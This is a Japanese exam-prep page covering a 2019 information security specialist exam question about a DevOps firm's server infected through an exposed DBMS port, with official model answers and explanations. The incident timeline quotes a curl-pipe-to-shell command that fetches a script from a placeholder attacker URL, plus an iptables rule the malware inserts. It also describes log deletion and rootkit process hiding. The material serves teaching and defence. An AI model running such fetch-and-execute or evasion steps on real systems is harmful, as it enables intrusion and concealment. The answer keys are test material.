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情報処理安全確保支援士試験

令和元年度 秋期 午後Ⅱ(旧試験)

令和元年度 秋期に実施された情報処理安全確保支援士試験 午後Ⅱの全2問(記述式)の全設問に,運営者が独自に書いた解説を付けています。事例本文のどこが根拠になるかを示し,IPA の解答例・採点講評と並べています。

この試験について:情報処理安全確保支援士試験について

この年度を解いてみる

問1 ソフトウェア開発におけるセキュリティ対策

ソフトウェア開発におけるセキュリティ対策に関する次の記述を読んで,設問 1~4 に答えよ。

S 社は,2010 年創業の従業員数 120 名のインターネット広告事業者である。インターネット広告の販売及び効果測定サービスの提供を行っている。S 社のサービスは顧客からの評判も良く,登録会員数は 2,000 社を超えている。

効果測定サービスは同社の Web サイトのシステム(以下,S システムという)で稼働する Web アプリケーションソフトウェア(以下,アプリケーションソフトウェアをアプリといい,S システムの主要な Web アプリをアプリ Q という)によって提供されている。アプリ Q は,創業時に自社内で開発が始まり,現在も機能追加や改修が継続的に行われており,約 3 週間に 1 回,リリースされている。

S 社では,エンジニア 5 名(以下,開発チームという)が,開発と運用を一体的に行う,いわゆる DevOps に取り組んでいる。開発チームは,外部クラウドサービスの利用に積極的であり,ソフトウェア開発プラットフォームであるサービス H 及びテキスト共有サービスであるサービス G を用いている。サービス H では,アプリ Q のソースコードなどのファイルのバージョン管理を行っている。サービス G では,開発に関する情報をやり取りしている。サービス G は,テキストファイルをアップロードした後,URL を用いて,そのテキストファイルを共有できる。指定した期間を過ぎたテキストファイルを自動的に削除することもできる。

アプリ Q は頻繁に更新するので,Web アプリの脆弱性診断を,計画的に実施できず,1 年に 1 回程度の頻度で不定期に行っている。昨年末,スケジュールに余裕がある時期に外部に依頼し実施した際には,SQL インジェクション脆弱性が発見され,改修した。また,S システムでは,OS,ライブラリ及びミドルウェア(以下,この三つを併せて実行環境という)を全く更新していないという問題もある。

〔S システムについて〕

アプリ Q は,W 社データセンタ内のサーバ A 上で稼働している。アプリ Q は DBMS サービス(以下,アプリ Q が連携する DBMS サービスをサービス C という)と連携している。サービス C のデータベースには,効果測定サービスに関するデータ及び入会時に登録された会員情報が保存されている。また,サーバ A の CPU 負荷やメモリの利用状況などを S 社開発用 LAN 上の PC から遠隔監視するツールをサーバ A 上で稼働させている。このツールの導入を容易にするために,コンテナ技術を用いている。図 1 は,S システムの開発と運用のためのネットワーク構成である。

S システムの開発と運用のためのネットワーク構成図。インターネットに,W 社データセンタ内の S システム(サーバ A とサービス C)と,S 社開発用 LAN のルータ S が接続されている。サーバ A のグローバル IP アドレスは a1.b1.c1.d1,ルータ S のグローバル IP アドレスは a2.b2.c2.d2 である。S 社開発用 LAN ではルータ S(172.16.3.1)の下に PC1(172.16.3.4),PC2(172.16.3.5),…,PCn が接続されている。注記 1:a1.b1.c1.d1 及び a2.b2.c2.d2 は,グローバル IP アドレスである。注記 2:サーバ A は S 社が占有利用している。注記 3:S 社開発用 LAN は S 社のオフィスにある。
図1 S システムの開発と運用のためのネットワーク構成

S 社開発チームは,9 月から試験的に,新アプリ(以下,アプリ D という),及び DBMS サービスである DBMS-R をサーバ A 上で稼働させ,利用を開始した。開発チームは,S 社開発用 LAN の PC から,DBMS-R のデータベースを参照・更新したり,ネットワーク経由で外部から DBMS-R を通して OS コマンドを実行する機能(以下,遠隔コマンド実行機能という)を利用したりするために,急きょ,サーバ A のポート 6379/tcp を開放した。表 1 はサーバ A のファイアウォール機能におけるフィルタリングルール(以下,ファイアウォール機能におけるフィルタリングルールを FW ルールという)である。

サーバ A の FW ルールの表。列は項番,送信元,宛先,ポート,動作(許可又は破棄)。項番 1:送信元は全て,宛先は a1.b1.c1.d1,ポートは 80/tcp,許可。項番 2:全て,a1.b1.c1.d1,443/tcp,許可。項番 3:全て,a1.b1.c1.d1,6379/tcp,許可。項番 4:全て,a1.b1.c1.d1,22/tcp,許可。項番 5:a1.b1.c1.d1,全て,全て,許可。項番 6:全て,全て,全て,破棄。注記 1:項番が小さいルールから順に,最初に一致したルールが適用される。注記 2:ステートフルパケットインスペクション機能をもつ。注記 3:サービス C との通信に関しては省略している。
表1 サーバ A の FW ルール

〔インシデントの発生〕

10 月のある日,サーバ A が W 社データセンタ内のほかのサーバを探索するアクセスを繰り返しているという連絡を W 社から受けた。初期対応をした開発チームの P さんは,サーバ A の CPU 使用率が 100%になっていることから,サーバ A がマルウェアに感染したと推測した。

S 社の経営陣は,セキュリティ専門企業 U 社の情報処理安全確保支援士(登録セキスペ)の B 氏にインシデント対応の支援を依頼した。B 氏は,状況から,サーバ A のストレージを対象としたフォレンジック調査を実施するのがよいと助言した。

〔フォレンジック調査結果〕

フォレンジック調査によって,サーバ A はマルウェア X に感染したことが判明した。U 社の過去の解析で,マルウェア X の目的,侵入方法及び機能が図 2 のとおり特定されており,今回のマルウェア X の活動は図 3 のとおりであることが判明した。

1. マルウェア X の目的。(1) 暗号資産の採掘用プログラムをダウンロードし実行する。(2) ほかのサーバに侵入する。2. マルウェア X の侵入方法。(1) ポート 6379/tcp が開放されたサーバを探索する。(2) ポートが開放されたサーバを発見したら,次のいずれかの方法で DBMS-R に接続する。− 脆弱性を悪用して認証をバイパスする。− パスワードを辞書攻撃で発見する。(3) 不正に遠隔コマンド実行機能を利用し,サーバに侵入する。3. マルウェア X の機能。(ア) 暗号資産の採掘用プログラムをダウンロードし,実行する機能。(イ) ほかのサーバ上で稼働する DBMS-R に侵入を試みる機能。(ウ) サーバの FW ルールを変更する機能。(エ) ルートキット Y をダウンロードし,インストールする機能。(オ) 活動の痕跡が含まれるログファイルを削除する機能。4. 暗号資産の採掘用プログラムの機能。(1) 採掘演算結果だけを外部の特定のサーバに送信する機能。
図2 マルウェア X の目的,侵入方法及び機能
1. DBMS-R の脆弱性を悪用して認証をバイパスし,サーバ A 上の DBMS-R に接続した。2. 遠隔コマンド実行機能によって,サーバ A 上で次のコマンドを実行して,引数の URL からスクリプトファイルをダウンロードし,実行した。その結果,次の 3~6 を実行するように,cron の設定が書き換えられた。コマンド:curl -sf https://▲▲▲▲(注 1)/attackers-url/xxx.sh | sh -s。3. サーバ A 上で次のコマンドを実行した。その結果,<u>①表 1 の先頭に,ポート 6379/tcp へのパケットを破棄するルールが挿入された</u>。コマンド:iptables -I INPUT -p tcp --dport 6379 -j DROP。4. サーバ A 上で rm コマンドを実行して幾つかのログファイルを削除した後,ルートキット Y を,curl コマンドを用いてダウンロードして,DBMS-R プロセスの実行時の権限でインストールした。5. サーバ A 上で暗号資産の採掘用プログラムを,curl コマンドを用いてダウンロードし実行した。6. サーバ A から,ポート 6379/tcp が開放されているほかのサーバへの侵入を試みた。注 1):▲▲▲▲はサービス G の FQDN を示す。
図3 マルウェア X の活動(抜粋)

ルートキット Y は,マルウェア X の活動を隠蔽する。例えば,Linux におけるプロセス監視ツールである [ α ] コマンドは,プロセス ID が 123 の場合,[ β ] 関数を通してディレクトリ [ γ ] 内のファイルにアクセスすることによって当該プロセスの状態を参照し,表示する。しかし,ルートキット Y によって [ β ] 関数が書き換えられると,[ α ] コマンドの出力に暗号資産の採掘用プログラムのプロセスが表示されなくなる。[ α ] コマンドの通常の動作とルートキット Y をインストールした後の動作を図 4 に示す。

左右 2 つの破線の枠から成る図。左の枠「通常の動作」では,上から [ α ] コマンド,[ β ] 関数,システムコール I/F,ディレクトリ [ γ ] 内のファイルが並び,それぞれ矢印(上下双方向)で結ばれている。右の枠「ルートキット Y をインストールした後の動作」では,上から [ α ] コマンド,暗号資産の採掘用プログラムを隠蔽する関数,システムコール I/F,ディレクトリ [ γ ] 内のファイルが並び,それぞれ矢印(上下双方向)で結ばれている。システムコール I/F とディレクトリ内のファイルは左右の枠にまたがっている。
図4 [ α ] コマンドの通常の動作とルートキット Y をインストールした後の動作

ネットワーク経由でのサーバ A 上の DBMS-R へのアクセスは,S 社の PC からのアクセス以外はマルウェア X によるアクセス 1 回だけであった。特に,遠隔コマンド実行機能による不審なコマンドの実行は,マルウェア X によるものだけだった。また,サーバ A 上の SSH サービスへの接続も S 社の PC からのアクセスだけであった。

②サーバ A からの会員情報の漏えいはなかったと S 社は結論付けた。

〔今後のマルウェア対策〕

今回はマルウェアの被害が限定的であった。しかし,今後,より大きな被害をもたらすマルウェア感染が起こり得るので,B 氏は,サーバ A でのマルウェア対策として,表 2 の対策を提案した。

サーバ A でのマルウェア X への対策案の表。対策 1:サーバ A へのアクセスを,利用が想定される IP アドレスだけに限定する。対策 2:サービスで利用するポート番号をデフォルト以外の値に変更する。対策 3:SSH,HTTP 及び HTTPS について,サーバ A から外部へのアクセスを禁止する。対策 4:アプリ及びミドルウェアを管理者権限以外の必要最小限の権限で稼働させる。
表2 サーバ A でのマルウェア X への対策案

S 社では,表 2 の対策案について検討した。次は,開発チームのリーダ R さん及びメンバの P さんの会話である。

変更後のサーバ A の FW ルールの表。列は項番,送信元,宛先,ポート,動作(許可又は破棄)。項番 1:送信元は全て,宛先は a1.b1.c1.d1,ポートは 80/tcp,許可。項番 2:全て,a1.b1.c1.d1,443/tcp,許可。項番 3:送信元は [ う ],宛先は a1.b1.c1.d1,ポートは [ あ ],許可。項番 4:送信元は [ う ],宛先は a1.b1.c1.d1,ポートは [ い ],許可。項番 5:全て,全て,全て,破棄。注記 1:項番が小さいルールから順に,最初に一致したルールが適用される。注記 2:ステートフルパケットインスペクション機能をもつ。注記 3:サービス C との通信に関しては省略している。
表3 変更後のサーバ A の FW ルール

〔DevOps におけるセキュリティ向上策〕

B 氏は,DBMS-R を稼働させた際に行った設定変更がマルウェア X の侵入を招いたとして,開発・運用プロセスについて,図 5 に示す提案をした。

・要件定義プロセス(省略)。・設計プロセス(省略)。・実装プロセス:エンジニアには実装に関するセキュリティの知識を身に付けさせるべきである。セキュアコーディング基準を利用し,コーディングレビューを行うことを推奨する。・検証プロセス:Web アプリをリリースする際に,機能の検証及び脆弱性診断をすべきである。検証環境がないので,用意すべきである。・運用プロセス:自社で使用している実行環境について脆弱性情報を収集すべきである。ソフトウェアの変更,システム設定の変更及びシステム構成の変更(以下,この三つの変更をシステム変更という)を管理すべきである。
図5 S 社の開発・運用プロセスに関する提案(抜粋)

S 社では図 5 の提案を検討した。

設計プロセスでは,セキュリティ対策の漏れを防ぐために,③参考になりそうなセキュリティ対策の標準を利用することにした。

実装プロセスでは,セキュアコーディング基準として広く知られている CERT コーディングスタンダードを利用することにした。CERT コーディングスタンダードの順守によって,脆弱性の作り込み防止だけでなく,コードの移植性及び保守性の向上も期待できる。

検証プロセスでは,Web アプリの脆弱性診断をリリースの都度,外部に委託するとリリースが遅れるので,自社内で行うことを検討した。

運用プロセスでは,自社内で使用している実行環境の脆弱性情報の収集を強化することにした。その際,④収集する情報を必要十分な範囲に絞るため,情報収集に先立って必要な措置を取ることにした。また,脆弱性情報が報告された際,社内で [ き ] を実施する。これによって,脆弱性修正プログラム(以下,パッチという)を適用すべきであると判断した場合,検証環境でパッチを適用し [ く ] を行った上で,問題がなければ,本番環境にパッチを適用する。ただし,検証環境を準備する必要がある。さらに,図 6 に示すシステム変更手順を検討した。

システム変更は,次の手順で行う。1. 計画:当該変更の対象,変更内容,変更作業及び変更スケジュールを計画する。2. 作業手順書作成:計画に基づき,当該変更の作業手順書を作成する。3. 計画及び作業手順書の [ け ]:計画及び作業手順書を [ こ ] が [ け ] しリーダが承認する。4. 作業:作業手順書に基づき作業し,作業の記録を取る。5. 確認:作業が作業手順書どおりであったかどうかを作業の記録によって確認する。
図6 S 社のシステム変更手順

〔コンテナ技術活用の検討〕

B 氏は,コンテナ技術を,構成管理,変更管理,リリース前の確認及び実行環境の更新に活用することを提案した。次は,P さんと B 氏の会話である。

S 社は,セキュリティの向上,開発プロセスの強化,及びコンテナ技術の活用によって,DevOps の実践を改善した。その効果もあってサービス品質が向上し,登録会員数を増やすことができた。

出題趣旨(IPA)

本問では,Webアプリを開発し運用する現場における,セキュリティインシデント対応及びセキュリティ対策についての能力を問う。また,従来型のウォーターフォール型の開発ではなく,いわゆるDevOpsを実践する企業における対応力を問う問題である。高度化する開発及び運用においては,営業的に求められる機能の開発だけに注力するのではなく,DevOpsに伴うリスクを認知し,それらへ対処することが必要となるので,その能力を問う。

採点講評(問全体・IPA)

問1では,マルウェア感染及びその調査,並びに,開発・運用プロセスにおいてのセキュリティ対策について出題した。

設問と解答例

設問1(1) 75字以内

図 3 中の下線①について,挿入されなかった場合,攻撃者の意図に反して,どのようなことが起こると想定できるか。75 字以内で具体的に述べよ。

解答例

  • DBMS-Rにおける同じ脆弱性を悪用されて,別のマルウェアXまたはほかのマルウェアに再度感染してしまい,マルウェアXの動作が阻害される。
解説

本文の根拠

図2 3 マルウェア X の機能

(イ) ほかのサーバ上で稼働する DBMS-R に侵入を試みる機能

図3 3

その結果,①表 1 の先頭に,ポート 6379/tcp へのパケットを破棄するルールが挿入された

図2 2 マルウェア X の侵入方法

脆弱性を悪用して認証をバイパスする。

図 3 の 3 で実行する iptables -I INPUT -p tcp --dport 6379 -j DROP は,ポート 6379/tcp 宛てのパケットを破棄するルールを,表 1 の先頭に挿入する。iptables の man では,-I はルール番号を省略すると連鎖の先頭に規則を挿入し,-j DROP は一致したパケットを応答なしに捨てる,と説明されている。表 1 は項番の小さいルールから順に最初に一致したものを適用するので,先頭のこのルールが,項番 3 の 6379/tcp 許可より先に効く。つまり攻撃者は,感染した後で自分が使った入口を自分で閉じている。

図 2 のとおり,マルウェア X はポート 6379/tcp が開放されたサーバを探し,脆弱性を悪用して DBMS-R に接続する。ほかのマルウェアも同じ手口で入れるので,入口を閉じなければ,同じ脆弱性を悪用した別のマルウェア X やほかのマルウェアに再び感染しうる。そうなると,後から入ったものが先に入ったマルウェア X の処理を妨げる。採掘プログラムが重複して動くなど,攻撃者の意図に反する結果になる。

75 字以内なので,“同じ脆弱性を悪用されて再度感染する”と“マルウェア X の動作が阻害される”の二点を書く。解答例は 68 字である。

採点講評(IPA)

設問1(1)は,正答率が低かった。マルウェアには,目的の遂行のための機能だけでなく,発見されないように自らの動作や存在の痕跡を消す機能も組み込まれているものがある。今回のマルウェアXは,ワームであるので感染拡大機能をもつが,その機能によって,既に感染しているサーバが再度感染してしまう可能性がある。再度感染すると,例えばマルウェアXの処理が始めに戻ってしまい,目的の遂行の妨げになることがある。このようなマルウェアの機能の背景に関する知識も深めてほしい。

設問1(2) 解答欄3つ

本文中及び図 4 中の [ α ]~[ γ ] に入れる適切な字句を解答群の中から選び,記号で答えよ。 解答群 ア /proc/123 イ /top/123 ウ proc エ root オ su カ top キ カーネル ク ライブラリ

〔α〕解答例

  • カ

〔β〕解答例

  • ク

〔γ〕解答例

  • ア
解説

本文の根拠

本文 ルートキット Y の説明

ルートキット Y によって [ β ] 関数が書き換えられると,[ α ] コマンドの出力に暗号資産の採掘用プログラムのプロセスが表示されなくなる。

図4 左の枠

ディレクトリ [ γ ] 内のファイル

プロセス ID が 123 のプロセスの状態を表示する Linux のプロセス監視ツールは,top コマンドである(α=カ)。ps ではなく top が選択肢にあるので,解答群では top を選ぶ。Linux の /proc ファイルシステムには,プロセスごとに /proc/[pid] というディレクトリがあり,対応するプロセスの情報がファイルとして見える(proc(5))。したがって,プロセス ID が 123 の場合のディレクトリは /proc/123 である(γ=ア)。

図 4 では,通常の動作で α コマンドが β 関数を呼び,β 関数がシステムコールインタフェースを経由してディレクトリ γ のファイルにアクセスする。ルートキット Y は β 関数を書き換えて,採掘用プログラムの情報を返さないようにする。コマンド本体(top)やカーネルを書き換えるのではなく,コマンドから呼ばれる共通の部品である β はライブラリ(β=ク)と考える。キ(カーネル)は,図 4 で“システムコール I/F”の下にある別の層であり,β 関数の呼び出し先として図に描かれているのはシステムコール I/F である。

誤りの選択肢:ウ proc,イ /top/123 は,プロセスの情報を置くディレクトリとして存在しない名称である。エ root,オ su は,管理者権限に関わる語で,プロセスを表示するコマンドでも関数でもない。

設問1(3) 100字以内

本文中の下線②について,結論に至った根拠を 100 字以内で述べよ。

解答例

  • マルウェアXには,暗号資産の採掘プログラムによる採掘演算結果以外の情報を外部に送信する機能はなく,マルウェアX以外による遠隔コマンド実行及びSSHサービスへの接続がなかったから
解説

本文の根拠

図2 4 暗号資産の採掘用プログラムの機能

採掘演算結果だけを外部の特定のサーバに送信する機能

インシデントの発生後の段落

ネットワーク経由でのサーバ A 上の DBMS-R へのアクセスは,S 社の PC からのアクセス以外はマルウェア X によるアクセス 1 回だけであった。

インシデントの発生後の段落

遠隔コマンド実行機能による不審なコマンドの実行は,マルウェア X によるものだけだった。

インシデントの発生後の段落

サーバ A 上の SSH サービスへの接続も S 社の PC からのアクセスだけであった。

会員情報が流出するには,サーバ A から外部へ情報を送る経路が必要である。会員情報はサービス C のデータベースにあり,それを DBMS-R 経由で取り出すか,OS に入って取り出すかのいずれかで外に出す。本文は,そのいずれの経路も使われていないことを,二つに分けて述べている。

一つ目はマルウェア X 自体の機能である。マルウェア X の採掘用プログラムは“採掘演算結果だけ”を外部に送る。つまり,会員情報を送る機能を持たない。二つ目は,マルウェア X 以外の侵入経路である。遠隔コマンド実行機能による不審なコマンドの実行はマルウェア X によるものだけで,SSH 接続も S 社の PC からだけだったので,ほかの攻撃者が OS コマンドで会員情報を持ち出した形跡はない。

100 字以内なので,“マルウェア X に採掘演算結果以外を外部に送る機能がない”と“マルウェア X 以外による遠隔コマンド実行・SSH 接続がない”の二点を書く。解答例は 88 字である。

設問2(1) 解答欄4つ

表 2 中の対策 1~4 は,図 2 中の 3 の(ア)~(オ)のどの機能への対策となるか。それぞれ該当する機能を全て選び,記号で答えよ。

〔対策1〕解答例

  • (イ)

〔対策2〕解答例

  • (イ)

〔対策3〕解答例

  • (ア),(エ)

〔対策4〕解答例

  • (ウ),(エ),(オ)
解説

本文の根拠

図2 3 マルウェア X の機能

(ア) 暗号資産の採掘用プログラムをダウンロードし,実行する機能。

図2 3 マルウェア X の機能

(オ) 活動の痕跡が含まれるログファイルを削除する機能。

表2

アプリ及びミドルウェアを管理者権限以外の必要最小限の権限で稼働させる。

図3 4

DBMS-R プロセスの実行時の権限でインストールした。

対策ごとに,どの攻撃の段階を止められるかを考える。対策 1(利用が想定される IP アドレスだけにアクセスを限定)は,サーバ A への接続自体を絞るので,ほかのサーバの DBMS-R へ侵入を試みる機能(イ)への対策になる。ほかのサーバ側で同じ対策をすれば,マルウェア X の接続は届かない。対策 2(ポート番号をデフォルト以外にする)は,ポート 6379/tcp が開放されたサーバを探索する活動に対する対策であり,ほかのサーバへ侵入を試みる機能(イ)への対策になる。ただし,ポートスキャンで見つかりうるので効果は限られる(本文の P さんも,対策 1 で十分としている)。

対策 3(SSH,HTTP 及び HTTPS について,サーバ A から外部へのアクセスを禁止)は,外部からファイルを取得する機能を止める。採掘用プログラムのダウンロード(ア)とルートキット Y のダウンロード(エ)が該当する。対策 4(アプリ及びミドルウェアを管理者権限以外の必要最小限の権限で稼働させる)は,DBMS-R のプロセスの権限で動く処理を制限するので,FW ルールの変更(ウ),ルートキット Y のインストール(エ),ログファイルの削除(オ)が該当する。ルートキットのインストールは,図 3 の 4 で DBMS-R プロセスの実行時の権限で行われている。

誤りやすい点:(ア)は対策 3 でダウンロードを止めることで防ぐものであり,権限を絞る対策 4 の欄には入れない。対策 1,2 を(ウ)〜(オ)に結び付けないこと。

採点講評(IPA)

設問2(1)は,正答率が低かった。表2に示された対策はいずれも典型的なものである。しかし,具体的にそれらの対策がどのような攻撃に対して効果を発揮するのかは,正確な理解を必要とする。様々な脅威と,対応するセキュリティ対策をしっかりと理解しておいてほしい。

設問2(2) 解答欄3つ

本文中及び表 3 中の [ あ ]~[ う ] に入れる適切な字句を答えよ。

〔あ〕解答例

  • 22/tcp

〔い〕解答例

  • 6379/tcp

〔う〕解答例

  • a2.b2.c2.d2
解説

本文の根拠

表1 注記・本文

ポート 6379/tcp を開放した。

表1

項番 4:全て,a1.b1.c1.d1,22/tcp,許可。

〔今後のマルウェア対策〕の会話

今回は送信元をルータ S のグローバル IP アドレスに限定するので DBMS-R のポートは [ い ] のままとします。

図1

ルータ S のグローバル IP アドレスは a2.b2.c2.d2

対策 1 は,利用が想定される IP アドレスだけにアクセスを限定するものである。表 1 の項番 1,2 は Web サイトの公開用(80/tcp,443/tcp)で,送信元は全てのままにする。項番 3 の 6379/tcp は DBMS-R(遠隔コマンド実行機能を含む)のポート,項番 4 の 22/tcp は SSH のポートで,どちらも S 社の開発用 LAN の PC だけが使うので,送信元をその出口に当たるルータ S のグローバル IP アドレス a2.b2.c2.d2 に限定する。表 3 では項番 3 が あ,項番 4 が い であり,P さんが “い のまま” と言う DBMS-R のポートが 6379/tcp なので,い=6379/tcp,あ=22/tcp となる。

表 3 の送信元 う は,項番 3,4 とも a2.b2.c2.d2 である。S 社開発用 LAN の PC1〜PCn のプライベート IP アドレス(172.16.3.x)はインターネットには出ないので,ルータ S を経由した時点の送信元は a2.b2.c2.d2 である。表 1 の項番 5 に当たるサーバ A からの送信を許可するルールが表 3 で消えているのは,対策 3 のためである。

間違えやすい点:送信元に 172.16.3.0/24 などのプライベートアドレスを書かない。サーバ A とインターネット上の別のホストの間を通るパケットの送信元はグローバル IP アドレスである。

設問2(3) 解答欄2つ

本文中の a,b に入れるコマンド名を本文中又は図中の字句を用いて答えよ。

〔a〕解答例

  • curl

〔b〕解答例

  • iptables
解説

本文の根拠

図3 2,4,5

ルートキット Y を,curl コマンドを用いてダウンロードして

図3 3

iptables -I INPUT -p tcp --dport 6379 -j DROP

〔今後のマルウェア対策〕の会話

DBMS-R を必要最小限の権限にして稼働させることによって,この実行を防ぎます。

a は,マルウェア X がサーバ A に侵入の際及び感染後にファイルをダウンロードするのに使ったコマンドである。図 3 の 2 のスクリプトの取得,4 のルートキット Y,5 の採掘用プログラムのいずれも curl コマンドでダウンロードしている。

b は,図 2 の(ウ)“サーバの FW ルールを変更する機能”を実行したコマンドである。図 3 の 3 で FW ルール(表 1 の先頭の破棄ルール)を挿入しているのは iptables コマンドである。これを DBMS-R プロセスの実行時の権限で実行できたため,P さんは DBMS-R を必要最小限の権限にして稼働させることを提案している。

本文中又は図中の字句を用いて答える問題なので,図 3 のコマンド名をそのまま書く。wget や sh など,図 3 に出ていても用途が違うものを選ばないこと。

設問2(4) 解答欄3つ

本文中の [ え ]~[ か ] に入れる適切な字句を解答群の中から選び,記号で答えよ。 解答群 ア サーバ イ 参照 ウ 窃取 エ タイムスタンプ オ ハッシュ値 カ 比較 キ 変更

〔え〕解答例

  • オ

〔お〕解答例

  • カ

〔か〕解答例

  • キ
解説

本文の根拠

〔今後のマルウェア対策〕の会話

保護対象ファイルの [ え ] を計算して,保護された場所に保存しておき,定期的に,保護対象ファイルの [ え ] を計算し直した値と保存しておいた値とを [ お ] することによって,保護対象ファイルの [ か ] 又は改ざんが検知できる。

〔今後のマルウェア対策〕の会話

S システムでは,Web コンテンツについては,頻繁に [ か ] するので,頻繁に [ え ] を計算し直し保存する必要があり

改ざん検知の基本は,保護対象ファイルのハッシュ値(え=オ)を事前に計算して保護された場所に保存し,定期的に計算し直した値と保存しておいた値を比較(お=カ)することである。ファイルの内容が 1 ビットでも変わるとハッシュ値が変わるので,不一致から変更(か=キ)又は改ざんを検知できる。保存場所を保護するのは,攻撃者が保存値も書き換えて改ざんを隠せないようにするためである。

か は,保護対象ファイルが“変更”されることを指す。P さんの発言にも“Web コンテンツについては,頻繁に か するので,頻繁に え を計算し直し保存する必要があり”とあり,Web コンテンツは正規の運用でも頻繁に変更されるので,ハッシュ値を毎回計算し直して保存することが運用上の負担になる。

誤りやすい点:エのタイムスタンプは,ファイルの内容そのものを表す値ではないので,ハッシュ値の代わりにはならない。比較ではなく参照(イ)にしないこと。窃取(ウ)は,ファイルの内容が盗まれても変化しないので,ハッシュ値の比較では分からない。

設問3(1)

本文中の下線③について,該当する用語を解答群の中から全て選び,記号で答えよ。 解答群 ア CIS Benchmarks イ FedRAMP ウ OWASP ASVS エ OWASP ZAP オ QUIC カ X.509

解答例

  • ア,ウ
解説

本文の根拠

〔DevOps におけるセキュリティ向上策〕

設計プロセスでは,セキュリティ対策の漏れを防ぐために,③参考になりそうなセキュリティ対策の標準を利用することにした。

設計プロセスで,セキュリティ対策の漏れを防ぐために参考にする標準が問われている。CIS Benchmarks は,OS やミドルウェアなどを安全に設定するための基準集で,設定の抜けを確認する参考になる(ア)。OWASP ASVS(Application Security Verification Standard)は,Web アプリのセキュリティ要件を検証するための標準で,設計の段階で要件の漏れを防ぐのに使える(ウ)。

誤りの選択肢:FedRAMP は米国政府機関向けのクラウドサービスの認証制度である。OWASP ZAP は Web アプリの脆弱性を検査するツールで,対策の“標準”ではなく,検証プロセスで使うものである。QUIC は通信プロトコル,X.509 は公開鍵証明書の形式であり,いずれもセキュリティ対策を網羅する標準ではない。

全て選ぶ設問なので,ア,ウの二つを選ぶ。解答例も ア,ウ である。

採点講評(IPA)

設問3(1)は,正答率が低かった。セキュリティに関する規格,標準,フレームワークなどは多数ある。それらの目的を正確に把握し,活用していってほしい。

設問3(2) 60字以内

本文中の下線④の必要な措置とは何か。60 字以内で述べよ。

解答例

  • S社のシステムを構成する実行環境のバージョン情報を把握して,その情報を常に最新にしておくこと
解説

本文の根拠

図5 運用プロセス

自社で使用している実行環境について脆弱性情報を収集すべきである。

〔S システムについて〕

OS,ライブラリ及びミドルウェア(以下,この三つを併せて実行環境という)を全く更新していないという問題もある。

〔DevOps におけるセキュリティ向上策〕

④収集する情報を必要十分な範囲に絞るため,情報収集に先立って必要な措置を取る

脆弱性情報は,世の中に公開されているものが大量にある。自社で使っていない製品の脆弱性まで集めると,必要十分な範囲に絞れない。そこで,情報収集に先立って,自社が使っている実行環境(OS,ライブラリ,ミドルウェア)にどのようなものがあり,そのバージョンがいくつかを把握しておく必要がある。把握しておけば,その製品・バージョンに関係する脆弱性情報だけを集めればよい。

さらに,S システムは創業時から実行環境を全く更新していないので,最新でなくなったバージョン情報を放置すると,収集対象がずれる。そのため,把握した情報を常に最新にしておくことも措置に含まれる。解答例も“バージョン情報を把握して,その情報を常に最新にしておくこと”である。

60 字以内なので,“実行環境のバージョン情報を把握する”と“常に最新にしておく”を一文にまとめる。解答例は 46 字である。

設問3(3) 解答欄2つ

本文中の [ き ],[ く ] に入れる適切な字句を解答群の中から選び,記号で答えよ。 解答群 ア CVSS による脆弱性アセスメント イ TTX ウ 回帰テスト エ ストレステスト オ パッチの作成

〔き〕解答例

  • ア

〔く〕解答例

  • ウ
解説

本文の根拠

〔DevOps におけるセキュリティ向上策〕

脆弱性情報が報告された際,社内で [ き ] を実施する。これによって,脆弱性修正プログラム(以下,パッチという)を適用すべきであると判断した場合,検証環境でパッチを適用し [ く ] を行った上で,問題がなければ,本番環境にパッチを適用する。

き は,脆弱性情報が報告された際に社内で実施し,その結果,パッチを適用すべきかどうかを判断するものである。これは,CVSS による脆弱性アセスメント(ア)である。CVSS の環境値などを使って,自社の環境での深刻度を評価して,パッチ適用の要否を判断する。

く は,検証環境でパッチを適用してから,問題がなければ本番環境に適用する前に行う確認である。パッチによって従来の機能が壊れていないかを確かめるのは,回帰テスト(ウ)である。会話の最後にも“現在のアプリが正常に稼働するかを く を行って確認できます”とあり,同じ語が入る。

誤りの選択肢:TTX(イ)は机上演習であり,パッチの要否の判断ではない。ストレステスト(エ)は高い負荷での耐性を見るもので,パッチの影響確認とは目的が違う。パッチの作成(オ)は,開発元の作業であり,S 社が自社で実施するものではない。

設問3(4) 解答欄2つ

図 6 中の [ け ],[ こ ] に入れる適切な字句をそれぞれ 5 字以内で答えよ。

〔け〕解答例

  • レビュー

〔こ〕解答例

  • 第三者
解説

本文の根拠

図6

計画及び作業手順書を [ こ ] が [ け ] しリーダが承認する。

図6

計画に基づき,当該変更の作業手順書を作成する。

図 6 の 3 は,計画及び作業手順書を“こ が け しリーダが承認する”手順である。2 までで,作成した作業手順書に誤りがないかを確認する工程であり,け はレビューである。リーダの承認の前に,誰が行うのかを考えると,こ は作成者ではない人,つまり第三者である。

作成者自身が確認しても,思い込みの誤りは見つからない。第三者がレビューし,リーダが承認する二段階にすると,変更ミスによる事故を防ぎやすい。解答例は け=レビュー,こ=第三者である。

5 字以内なので,け は“レビュー”(4 字),こ は“第三者”(3 字)と短く書く。作成者以外,などの 6 字以上の言い回しは字数制限を超える。

設問4 解答欄6つ

本文中の c~h に入れる適切な字句を解答群の中から選び,記号で答えよ。 解答群 ア アプリ イ 開発 ウ 検証 エ コンテナ オ コンテナエンジン カ 変更の履歴 キ 本番 ク ミドルウェア ケ ライブラリ コ レジストリ

〔c〕解答例

  • オ

〔d〕解答例

  • ア

〔e〕解答例

  • エ

〔f〕解答例

  • カ

〔g〕解答例

  • キ

〔h〕解答例

  • ウ
解説

本文の根拠

〔コンテナ技術活用の検討〕

サーバで c を一つ稼働させておけば,c の上で,d ごとに別の e を稼働させることが可能です。

〔コンテナ技術活用の検討〕

実行環境の構成情報を,d のソースコードと同じようにサービス H でバージョン管理できます。構成情報については,f を確認することができ

〔コンテナ技術活用の検討〕

リリースする際の確認のため,g 環境と同じ実行環境を用意して,d が動作するかを確認することが可能となります。図 5 で提案した h 環境も用意できます。

c は,サーバで一つ稼働させ,その上でコンテナを稼働させるもので,コンテナエンジン(オ)である。d は,コンテナごとに稼働させ,開発する対象であり,アプリ(ア)である。e はコンテナ(エ)で,アプリごとに別のコンテナを稼働させるので,ほかのコンテナへの影響なく,コンテナごとにサービスの提供や停止ができる。

f は,実行環境の構成情報をサービス H でバージョン管理することによって確認できるもので,変更の履歴(カ)である。図 5 の運用プロセスの“システム変更を管理すべきである”につながる。g は,リリースする際の確認のために同じ実行環境を用意する対象の環境で,本番(キ)である。h は図 5 の検証プロセスで“検証環境がないので,用意すべきである”とされた検証(ウ)である。

